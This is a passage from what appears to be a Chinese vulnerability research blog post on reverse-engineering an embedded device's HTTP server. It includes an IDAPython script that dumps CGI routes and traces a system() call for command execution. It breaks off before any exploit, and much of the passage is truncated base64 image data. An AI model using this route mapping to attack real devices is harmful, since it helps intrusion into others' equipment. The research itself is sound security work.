e2p0WAxXZpBp8ORjXXUDmpqA134HqDos1SsX9DxDEzFGfAkseXZa2v00DMRZW2Ej4k/gsV/ZvwcuVlpTGPAbGG9tIZaMYdbp0CsGNE85wzErY74IpZWb6G09iZZrxpScYnxCR9xkJKGFSfl8qCk/Jq8Fr9lK+1jkcl/SgnM6nYyOjtLd3U0qlQIy/33zeDwYDAvze86g6LArGkOTRuKpLDoGpkgnFDRDnJbeIdR4fEHO87bT0oSmxujs6iMY8TI0qiORjKPZkgTGJ9ClFRLA+EAPzVEVz7LNLCkppKOhjePHx8gvLicVn0QNB6hv7mLLpjoM6DAZbbgtCbr6+slzu0joNaxZ+RimArCQD0bn0M2VgvKaockQ4/4oqbT6+p/J6QDvuXb5okxqoYz3tdI5OAWKnqplq/B1n8AXN5NXWEZBlon+4THy8gtRg6N0TsTZtHr5efchEY8BGiazFdQ4p+ubmY5EcWSXsaq2mFhoivb2Xlw5ZZSX5hAJTWNAJaJ34zDrMZzzaWssEqC/tw9XYSVJ/yhTCT2VpcU4LVduYAmZj7qmpqYIhULn3Z/c3Nw5P3I914VSUCJxla6xJGpafcNikA7I9xrJ81y59ykeCdDTehqjJx+jojEW1VFTVoB/sJ2xgIF1a2uJjLbTNZmirNBD70iI8ppavG9eDNRSDEymKckxo6WTTI5009Y7iSevkIrKCkyJSVo7+rB4K6go8qCocYYiJvIYw+gqOG9eqbiPxuYuItEkSzZsJfcqCcB9Ph/T09MoyhvTFbxeLy7X+ak7b3YxKShCLLQLpaC0jySIxlWWFFroHomRSmf+Q6cD8jwG8r3Gt
由此可以知道处理连接接受数据的<code>httpd_do_recv</code>可能为http请求直接跟入查看到该处代码GET请求的处理方式<br>
调用memcmp()函数比对GET字符串匹配成功调用调用·<code>httpd_dowith_get</code>函数处理 GET 请求,并返回结果。<br>
<a id=img10 href=https://xzfile.aliyuncs.com/media/upload/picture/20240708205841-cd54ae46-3d29-1.png title><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAvUAAAFLCAYAAABWanMVAAEAAElEQVR4nOzddZhc13n48e8dZtqdZUZpV2ixLFlmthMH7DhMDbeBQto0bZqmaZPCL23TYAN1OHHsOHbMlkEWs7TSMjPMDvNc+P0xa0uWdldyYstSfD7Ps4+fuXPn3HPvjB6/99z3vEfSNE1DEARBEARBEIRLlu617oAgCIIgCIIgCH8YEdQLgiAIgiAIwiVOBPWCIAiCIAiCcIkTQb0gCIIgCIIgXOJEUC8IgiAIgiAIlzgR1AuCIAiCIAjCJU4E9YIgCIIgCIJwiRNBvSAIgiAIgiBc4gwLv6URm+7kJ/ftonFJHclYhIy1nBtXV3D86EFmZQduh52qmhqqK4rJpFJks1kMBgNWqxWd7uK/X9A0DUVWUeeW39LpdRj0EoqsoqgakiSh10sAHHhmgO3b+3jPP1xNsU5Cr9eBpqEo+c/r9Dr0eglpnuPksgofv/lHfO6p91Fz2vbOA8P833/twLG2iTe9Yw21mUm++LUjDIckis1xBvHzj3++jvDT+/nPvRmWVtowGyTe9vFtVFlz/Nkbfsrnnngv1YudZC7G9/7nKCd6EowMj+NY1coXPrGKuhIzmqohqxpGw8X/XQmCIAiCIAgLWySoB0nRsDoLqWteSmx6gOmYGQCHy4e/YjlVBRaMBuMlO9w/dqKPT37qGXa1hQiHMtz0qZu590tL+OrH7uN/H5rCW13IZ/7uSqoz49z+J8+Tyyn8+3ePcM2bV/P5v9tCcPdx/uPfDnJiPMvN79vEX31iFTUllvM6tiZnmY4lMZQXUe+VOHZshpol4PC7uWlbJZtcEb77fBpJl79NWL6tifddV4rDrMfjAzl1nidpdPLBT28FYHTvCf5re5J0OgeYabt/H++7J8ZTv74ar1n/e1xBQRAEQRAE4WKwSFAvYfZV01J2kvt/+Uu8vjJuvPVWJF2M8PQYz+47jM1TxNr1G1nWuOhY8UXr0XuPsfpd2/jalQX81Zsf5G8+v4rOh57jGX0DRwbfztDBbr70zZN87+e38nRJOU8+2cv7vnQtRcBM+wC/aU9x9z+9iZtXGPmbv91DZ3+I8pJSjOdx7HggzlT/DP7VtZCJMN09SbrJz1TnCF//rwNYnFbe8ieX43WbCAG//OdH+eEXVHSSj2f630XpyzzXdCLDrn3TLG2pxl9oBaBmfQN/487gFCP1giAIgiAIl7SFg3pNIzLZRdsI3PmuuxlrO8zOPYd5061b2HbrXWxVM3Qe3sv46DChsgqci475X5yK/XYe3dlBssPCtNtHmVXiQE+EDdctwW3T4y0toEx/nNkUgIaqauRkDQwSkUAaX5GD2joXLr+ZapdKKiOTU8B4zkFvjcnJGM8/M0i2RKZtKoC52EvvlIfSZTV8571Xsa1O4dP/cIKBoVJU4D1ffgMfv7UCpyUfgGdexnnGw3F2PNTGmL2AOzaV4XfkO+gs83C1S0anmy9pSBAEQRAEQbhULBqKZ+NJzB43aiqFze3GHM+RyWaIhoMkUykiSRmL3YfZpAP1QnX5lTMymsaVU5iYlvngJ1agxBXKl/g5/Nt2dpTlmOqdIltaRqkdslaJZDrOU08Nsr7eg8VjIzI9we5n+kj3GRiSrWzxWVgoi0XOZTiyZ5QJnYTDbSIeiDKtOLm62UWmRKJnRqa9fZZsIk3XyWl8OR0WtxmLxUASmOwPsH8f2Ew6lqyuwDbX5uE9o4zrJJyFTpbVu846rppN8/CPDvDoyQzXXF/I5GgUr8OA22EkMTrJ1348wIc+tZlKp0i/EQRBEARBuFQtHNRLEv6qJZQN72Xnc7twegpZsWYdaizEicN7GA3JFJU3sKK5GbdZR+p8c7wvGgp6TSI4GyedS/Ltf3mMnsiN/N171nDH4af5ypd3UdZYxkf/ci12oLTKQ121i19/Yxddlzfx/g+u4MbNMf7vJx08Fzdy+/tW0troZb7QWJKgrsXBt//hWTAZadpQzZ9c7eO2967nHTeWoSRiPPTkMJmUTIFJ5XcPtrG/2MGt71xFfa2TsUEf00908a/b2wH44g/eyRq/RE2zPd+m2UjrlUv4f59Zedaxc5E4E1GZicEAP/luANxevvSly7ms1kb38VG+/82DbH3bRhHUC4IgCIIgXMIkTdO0V6Kh1CVX/SbFF975KLa15dRWOBk93M1AQRNf//OW17pjv5dsMkvfyQnah5OnbdXTtKyIJc2es/L8M1MzfPuHJ2kbVvnSv26j1CGCekEQBEEQhEvVJZgJ/0oxc/Pd9dz/9Ahdxycpq/bzqXc1vtad+r3lUlm6j4zwuz2zp201caPFTP08Qb3OYmbl+hre9YkyfCKgFwRBEARBuKS9jkfqBUEQBEEQBOGPg4i8BUEQBEEQBOESt2j6jaKk6Gs7wXgwjtHuoq6hkdICJ6l4hKH+AaZmE5TW1FJbW/6Sz0WHJ9g7oufyNX6ctlOpHXI6xs//t42C9c3cvKGA4HSUR359lI4xBYfHyeVX17BpjZtDT/bx9LPjJABvdRFvva0eby7MriGJrWv9OKwLp4tkkxmO7x3gsZ0TWEo8XH1VHZc1uhnrm2T7E/0MBjQ2X9/AplV+7GZxTyMIgiAIgiBc+haJajVSgRGO9I5itVvJpiO0dQySTUYZ7u9mPBjDYrdhNhk5s8p5bGyap/dOE0sqL9k+fXKQJ08G+d193chAJBBj345ecjY7iWCQXc/3MZ2QOXx0itHxFCUlDooKLJiMEtHRKbbvnSGRUliMIqtkswpun5Wp3gDPPTVEJBLhqaf7OTmSxignue/+LnqGY2hAOpTgaEcUWX5FspAEQRAEQRAE4YJbdKhapzegyRk0kwWDHmx2G7FwhInxCaxeN/6SInxe93nPtn3ud92sf+NqfOFJeoL54NxsMVJR5abYZ8WsN2A0AHo9/mInDQ0+muo8OKzns0ZrnslmomZpMS01TsoLLHicFmZ6Z5gMq2y8uoGVjTaOPDNAx1CcrAZjxwb5j/89QSgtn/cxBEEQBEEQBOFiskg8LmF0eHDrMnT19qFPpVh++VJS6RBTE9PYJTvB0SHGi6pZtmwZ5nMdKRfjsaMKf/exAtq6rDy5J8BttRCPpjl+YAQlGMe/xISmqpDNMdAdRDUqVLdCTdXZiyotRG/QoSoKJw+OcqgvwVKrh+lJCA3OcF9biNJiG+U+HaqmkFOhoKGEd9/hxbHQqlGCIAiCIAiCcJFbOKjXNGZH+ohaK7lmTSMzo4MMdfViX1qE21fMkhUrUUPDTETSRONp/I7F89MnDvXwyM4Rxt7xK+KzcfybXdz40WoKih2suXMVrulxDneF6RxMgM3C2q213HhLNVaHBa/LwMx5n5JEYYmH299xGbX7hxmYiRPIOMnIUL+8jDdeV8JP/juB06TDoANHRQHXVZx344IgCIIgCIJw0Vk0c0anZJienWYm4CMcS5CUbTitVkxGhYGBAaTkLKrFi9VmAl6avjLRN8kD96t4nQaWbq7n+G87+eA/385trRYiwSS/+dlh2mcqSMazdLaNw9QkIcWI12uGnMzoUIJDh0w4/C42rS3Jt9kzwW/uU3A7DLRcXs/KKutZfU5EUxw7MEz/RJrO9llMXjetq4o4vHeAseFZnnooSNDppLTYgVmCvmfb+fLDMf71C5dR6Dj/NB9BEARBEARBuFgsHNRLEt7qlVyVNDM5M4vD7ufqy5ZS4NSzpHUZ/f2j6Fyl1NTV4rMZyZ6Wk27ze2ksCTPQG2BYB97WKvCU8qF31FNr05GMpZFiUWSjkcalxfSNBCirLeBtV9TR7LcyU+dhbHicY8cm8dZorGgtxOX30lQapK8ngF4HvmXVrJyn29lMjuG+GTrGVBpW1HLlFeVUFpt533tX8cgTQ0zF9bznXfW01rmQAKffSXOTDoteVMIRBEEQBEEQLk3nXHxKzmXJy
查看到该处代码POST请求的处理方式,依旧是调用memcmp()函数进行POST字符串匹配当正常执行到LABEL_46对调用 httpd_do_wwwparm函数处理表单数据最后结束http关闭连接<br>
<a id=img11 href=https://xzfile.aliyuncs.com/media/upload/picture/20240708205912-df53eb8e-3d29-1.png title><img src="data:image/png;base64,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
如上述所说为整个完整的web服务接下里便是分析内存地址中,将需要CGI函数信息利用脚本将接口dump进行对路径和函数的匹对使用以下脚本使用idapython将接口dump出</p>
<div class=highlight><pre><span></span><span class=kn>from</span> <span class=nn>idaapi</span> <span class=kn>import</span> <span class=o>*</span>
<span class=n>host</span> <span class=o>=</span> <span class=s2>"http://127.0.0.2/"</span>
<span class=k>def</span> <span class=nf>ReadStr</span><span class=p>(</span><span class=n>addr</span><span class=p>):</span>
<span class=n>res</span> <span class=o>=</span> <span class=s1>''</span>
<span class=k>while</span> <span class=bp>True</span><span class=p>:</span>
<span class=n>ch</span> <span class=o>=</span> <span class=n>get_byte</span><span class=p>(</span><span class=n>addr</span><span class=p>)</span>
<span class=k>if</span> <span class=n>ch</span> <span class=o>==</span> <span class=mi>0</span><span class=p>:</span>
<span class=k>break</span>
<span class=n>res</span> <span class=o>+=</span> <span class=nb>chr</span><span class=p>(</span><span class=n>ch</span><span class=p>)</span>
<span class=n>addr</span><span class=o>+=</span><span class=mi>1</span>
<span class=k>return</span> <span class=n>res</span>
<span class=k>class</span> <span class=nc>dump</span><span class=p>(</span><span class=nb>object</span><span class=p>):</span>
<span class=k>def</span> <span class=fm>__init__</span><span class=p>(</span><span class=bp>self</span><span class=p>):</span>
<span class=k>pass</span>
<span class=k>def</span> <span class=nf>http_cgi_all_fun</span><span class=p>(</span><span class=bp>self</span><span class=p>):</span>
<span class=k>print</span><span class=p>(</span><span class=s2>"start"</span><span class=p>)</span>
<span class=n>httpd_cgi_all_fun_addr</span> <span class=o>=</span> <span class=mh>0x6b0000</span>
<span class=n>cgi_name</span> <span class=o>=</span> <span class=n>get_32bit</span><span class=p>(</span><span class=n>httpd_cgi_all_fun_addr</span><span class=o>+</span><span class=mi>3</span><span class=o>*</span><span class=mi>4</span><span class=p>)</span>
<span class=k>while</span> <span class=n>httpd_cgi_all_fun_addr</span> <span class=o>&lt;</span> <span class=mh>0x4801000</span><span class=p>:</span>
<span class=n>cgi_name</span> <span class=o>=</span> <span class=n>get_32bit</span><span class=p>(</span><span class=n>httpd_cgi_all_fun_addr</span><span class=o>+</span><span class=mi>3</span><span class=o>*</span><span class=mi>4</span><span class=p>)</span>
<span class=k>if</span> <span class=n>cgi_name</span> <span class=o>!=</span> <span class=mi>0</span><span class=p>:</span>
<span class=n>data</span> <span class=o>=</span> <span class=n>get_bytes</span><span class=p>(</span><span class=n>httpd_cgi_all_fun_addr</span><span class=p>,</span><span class=mh>0x14</span><span class=p>)</span>
<span class=n>data</span> <span class=o>=</span> <span class=nb>list</span><span class=p>(</span><span class=n>struct</span><span class=o>.</span><span class=n>unpack</span><span class=p>(</span><span class=s2>"&lt;"</span><span class=o>+</span><span class=s2>"I"</span><span class=o>*</span><span class=mi>5</span><span class=p>,</span><span class=n>data</span><span class=p>))</span>
<span class=n>data</span><span class=p>[</span><span class=mi>3</span><span class=p>]</span> <span class=o>=</span> <span class=n>host</span><span class=o>+</span><span class=n>ReadStr</span><span class=p>(</span><span class=n>data</span><span class=p>[</span><span class=mi>3</span><span class=p>])</span>
<span class=n>data</span><span class=o>.</span><span class=n>append</span><span class=p>(</span><span class=n>get_ea_name</span><span class=p>(</span><span class=n>data</span><span class=p>[</span><span class=mi>4</span><span class=p>]))</span>
<span class=n>data</span><span class=p>[</span><span class=mi>4</span><span class=p>]</span><span class=o>=</span><span class=nb>hex</span><span class=p>(</span><span class=n>data</span><span class=p>[</span><span class=mi>4</span><span class=p>])</span>
<span class=k>print</span><span class=p>(</span><span class=n>data</span><span class=p>)</span>
<span class=n>httpd_cgi_all_fun_addr</span> <span class=o>+=</span> <span class=mh>0x14</span>
<span class=k>print</span><span class=p>(</span><span class=s2>"end"</span><span class=p>)</span>
<span class=n>dump_obj</span> <span class=o>=</span> <span class=n>dump</span><span class=p>()</span>
<span class=n>dump_obj</span><span class=o>.</span><span class=n>http_cgi_all_fun</span><span class=p>()</span>
</pre></div>
<p><a id=img12 href=https://xzfile.aliyuncs.com/media/upload/picture/20240708210549-cc56e03a-3d2a-1.png><img src="data:image/png;base64,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
<h2 id=toc-2>命令执行</h2>
<p>通过对jhl_system()函数的查找找到了一个接口sub_47EAE8然后从dump出来映射路由中找到一个函数对应进行分析<br>
<a id=img13 href=https://xzfile.aliyuncs.com/media/upload/picture/20240708210625-e1651c30-3d2a-1.png><img 